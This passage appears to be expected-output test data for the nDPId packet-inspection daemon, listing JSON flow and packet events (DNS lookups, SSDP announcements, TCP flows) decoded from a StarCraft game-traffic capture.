+00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":14,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1437389955670,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"173.194.40.22","dst_ip":"192.168.1.100","src_port":443,"dst_port":53568,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":670603,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"IImEa8W6hCYVPnXECABFAABFcNYAADURfO2twigWwKgBZAG70UAAMRxxEMkFXwBmE17ybHuJOXq3nhBj9+0\/GMWhnexwnqL3\/n6xqnftvooLDz8="} +00458{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":696678,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"hCYVPnXEIImEa8W6CABFAABFDD0AAIARlobAqAFkrcIoFtFAAbsAMXj5DBnPzxTN69maKsxX+B31W\/+0ERxkBS+pEu\/Lu7MhCuhfcS4mTXYS47w="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1437389955747,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58844,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00461{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":747893,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX2IAAIARVpDAqAFkwKgB\/uXcADUANLhfizwBAAABAAAAAAAAAjQwAzE4NgMyMzkCODAHaW4tYWRkcgRhcnBhAAAMAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1437389955747,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58844,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"40.186.239.80.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00514{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":800556,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"IImEa8W6hCYVPnXECABFAABuAABAAEARtczAqAH+wKgBZAA15dwAWs2+izyBgAABAAEAAAAAAjQwAzE4NgMyMzkCODAHaW4tYWRkcgRhcnBhAAAMAAHADAAMAAEAAC+XABoNODAtMjM5LTE4Ni00MAZhdHRlbnMDbmV0AA=="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":17,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":2,"flow_first_seen":1437389955747,"flow_last_seen":1437389955800,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":52,"flow_max_l4_data_len":90,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58844,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"40.186.239.80.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1437389955932,"flow_last_seen":0,"flow_tot_l4_data_len":21,"flow_min_l4_data_len":21,"flow_max_l4_data_len":21,"flow_avg_l4_data_len":21,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"216.58.212.110","src_port":3052,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":932316,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"hCYVPnXEIImEa8W6CABFAAApUQNAAIAGOxbAqAFk2DrUbgvsAbu4rIxVQhQWM1AQAPyVMQAAAA=="} +00432{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389955,"pkt_ts_usec":967025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0zAIAADUGSwzYOtRuwKgBZAG7C+xCFBYzuKyMVoAQAofTiQAAAQEFCrisjFW4rIxW"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1437389956550,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58851,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389956,"pkt_ts_usec":550428,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"hCYVPnXEIImEa8W6CABFAABIX2MAAIARVo\/AqAFkwKgB\/uXjADUANNVsy9IBAAABAAAAAAAAAjIyAjQwAzE5NAMxNzMHaW4tYWRkcgRhcnBhAAAMAAE="} +00656{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":20,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1437389956550,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58851,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"22.40.194.173.in-addr.arpa","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00461{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389956,"pkt_ts_usec":550723,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"hCYVPnXEIImEa8W6CABFAABJX2QAAIARVo3AqAFkwKgB\/uXjADUANaawlcQBAAABAAAAAAAAAzExMAMyMTICNTgDMjE2B2luLWFkZHIEYXJwYQAADAAB"} +00560{"flow_id":9,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389956,"pkt_ts_usec":552232,"pkt_caplen":157,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":157,"pkt_l4_len":123,"pkt":"IImEa8W6hCYVPnXECABFAACPAABAAEARtavAqAH+wKgBZAA15eMAe9\/glcSBgAABAAIAAAAAAzExMAMyMTICNTgDMjE2B2luLWFkZHIEYXJwYQAADAABwAwADAABAABT2QAcEG1pbDAxczI1LWluLWYxMTAFMWUxMDADbmV0AMAMAAwAAQAAU9kAEg9taWwwMXMyNS1pbi1mMTTASg=="} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":3,"flow_first_seen":1437389956550,"flow_last_seen":1437389956552,"flow_tot_l4_data_len":228,"flow_min_l4_data_len":52,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58851,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"110.212.58.216.in-addr.arpa","num_queries":1,"num_answers":2,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00514{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389956,"pkt_ts_usec":605099,"pkt_caplen":125,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":125,"pkt_l4_len":91,"pkt":"IImEa8W6hCYVPnXECABFAABvAABAAEARtcvAqAH+wKgBZAA15eMAWyEky9KBgAABAAEAAAAAAjIyAjQwAzE5NAMxNzMHaW4tYWRkcgRhcnBhAAAMAAHADAAMAAEAAFRfABsPbWlsMDJzMDYtaW4tZjIyBTFlMTAwA25ldAA="} +00679{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":23,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":4,"flow_first_seen":1437389956550,"flow_last_seen":1437389956605,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":52,"flow_max_l4_data_len":123,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":58851,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"22.40.194.173.in-addr.arpa","num_queries":1,"num_answers":1,"reply_code":0,"query_type":12,"rsp_type":12,"rsp_addr":"0.0.0.0"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1437389958129,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"80.239.208.193","src_port":3427,"dst_port":1119,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389958,"pkt_ts_usec":129733,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"hCYVPnXEIImEa8W6CABFAAA3SKVAAIAGzl7AqAFkUO\/QwQ1jBF+OUzht5cVUn1AY+ehDuQAA00l1ne7IFusS1wyd32Yu"} +00425{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389958,"pkt_ts_usec":226831,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoVBZAADQGDv1Q79DBwKgBZARfDWPlxVSfjlM4fFAQPaJ7fgAAAAAAAAAA"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1437389961548,"flow_last_seen":0,"flow_tot_l4_data_len":21,"flow_min_l4_data_len":21,"flow_max_l4_data_len":21,"flow_avg_l4_data_len":21,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"64.233.184.188","src_port":2759,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389961,"pkt_ts_usec":548711,"pkt_caplen":55,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":55,"pkt_l4_len":21,"pkt":"hCYVPnXEIImEa8W6CABFAAApPndAAIAGAKbAqAFkQOm4vArHFGzE+CH9edXaGlAQAPyZDAAAAA=="} +00434{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389961,"pkt_ts_usec":598805,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0aJ8AACgGbnNA6bi8wKgBZBRsCsd51doaxPgh\/oAQAXGUkwAAAQEFCsT4If3E+CH+"} +00388{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":28,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389962,"pkt_ts_usec":628618,"pkt_caplen":58,"pkt_type":35020,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"pkt":"AYDCAAAOIImEa8W6iMwCBwQgiYRrxboEBwMgiYRrxboGAg4R\/gkAEg8BAwABAAD+BwASuwEAAQEAAA=="} +00167{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":28,"source":"starcraft_battle.pcap","alias":"nDPId-test","type":35020} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":29,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1437389963466,"flow_last_seen":0,"flow_tot_l4_data_len":389,"flow_min_l4_data_len":389,"flow_max_l4_data_len":389,"flow_avg_l4_data_len":389,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"239.255.255.250","src_port":38605,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00917{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":466906,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"pkt":"AQBef\/\/6hCYVPnXECABFAAGZAABAAAERxbPAqAH+7\/\/\/+pbNB2wBhW9zTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpVU046IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":29,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1437389963466,"flow_last_seen":0,"flow_tot_l4_data_len":389,"flow_min_l4_data_len":389,"flow_max_l4_data_len":389,"flow_avg_l4_data_len":389,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"239.255.255.250","src_port":38605,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00905{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":467110,"pkt_caplen":414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":414,"pkt_l4_len":380,"pkt":"AQBef\/\/6hCYVPnXECABFAAGQAABAAAERxbzAqAH+7\/\/\/+pbNB2wBfPulTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVwbnA6cm9vdGRldmljZQ0KVVNOOiB1dWlkOjExMjY2NzM2LWZhNTktMTFlNC05YzlmLTg0MjYxNTNlNzVjNDo6dXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +00917{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":467335,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"pkt":"AQBef\/\/6hCYVPnXECABFAAGZAABAAAERxbPAqAH+7\/\/\/+pbNB2wBhW9zTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpVU046IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +01001{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":467688,"pkt_caplen":486,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":486,"pkt_l4_len":452,"pkt":"AQBef\/\/6hCYVPnXECABFAAHYAABAAAERxXTAqAH+7\/\/\/+pbNB2wBxIynTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpJbnRlcm5ldEdhdGV3YXlEZXZpY2U6MQ0KVVNOOiB1dWlkOjExMjY2NzM2LWZhNTktMTFlNC05YzlmLTg0MjYxNTNlNzVjNDo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +00993{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":467961,"pkt_caplen":478,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":478,"pkt_l4_len":444,"pkt":"AQBef\/\/6hCYVPnXECABFAAHQAABAAAERxXzAqAH+7\/\/\/+pbNB2wBvDVgTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6TGF5ZXIzRm9yd2FyZGluZzoxDQpVU046IHV1aWQ6MTEyNjY3MzYtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0Ojp1cm46c2NoZW1hcy11cG5wLW9yZzpzZXJ2aWNlOkxheWVyM0ZvcndhcmRpbmc6MQ0KTlRTOiBzc2RwOmFsaXZlDQpPUFQ6ICJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOw0KMDEtTkxTOiAxDQpCT09USUQuVVBOUC5PUkc6IDENCkNPTkZJR0lELlVQTlAuT1JHOiAxMzM3DQoNCg=="} +00917{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":468172,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"pkt":"AQBef\/\/6hCYVPnXECABFAAGZAABAAAERxbPAqAH+7\/\/\/+pbNB2wBhXEZTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHV1aWQ6MTEyN2Y5MDItZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpVU046IHV1aWQ6MTEyN2Y5MDItZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +00969{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":468413,"pkt_caplen":462,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":462,"pkt_l4_len":428,"pkt":"AQBef\/\/6hCYVPnXECABFAAHAAABAAAERxYzAqAH+7\/\/\/+pbNB2wBrMfkTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5EZXZpY2U6MQ0KVVNOOiB1dWlkOjExMjdmOTAyLWZhNTktMTFlNC05YzlmLTg0MjYxNTNlNzVjNDo6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOldBTkRldmljZToxDQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +01013{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":468749,"pkt_caplen":494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":494,"pkt_l4_len":460,"pkt":"AQBef\/\/6hCYVPnXECABFAAHgAABAAAERxWzAqAH+7\/\/\/+pbNB2wBzEAdTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOQ29tbW9uSW50ZXJmYWNlQ29uZmlnOjENClVTTjogdXVpZDoxMTI3ZjkwMi1mYTU5LTExZTQtOWM5Zi04NDI2MTUzZTc1YzQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOQ29tbW9uSW50ZXJmYWNlQ29uZmlnOjENCk5UUzogc3NkcDphbGl2ZQ0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsNCjAxLU5MUzogMQ0KQk9PVElELlVQTlAuT1JHOiAxDQpDT05GSUdJRC5VUE5QLk9SRzogMTMzNw0KD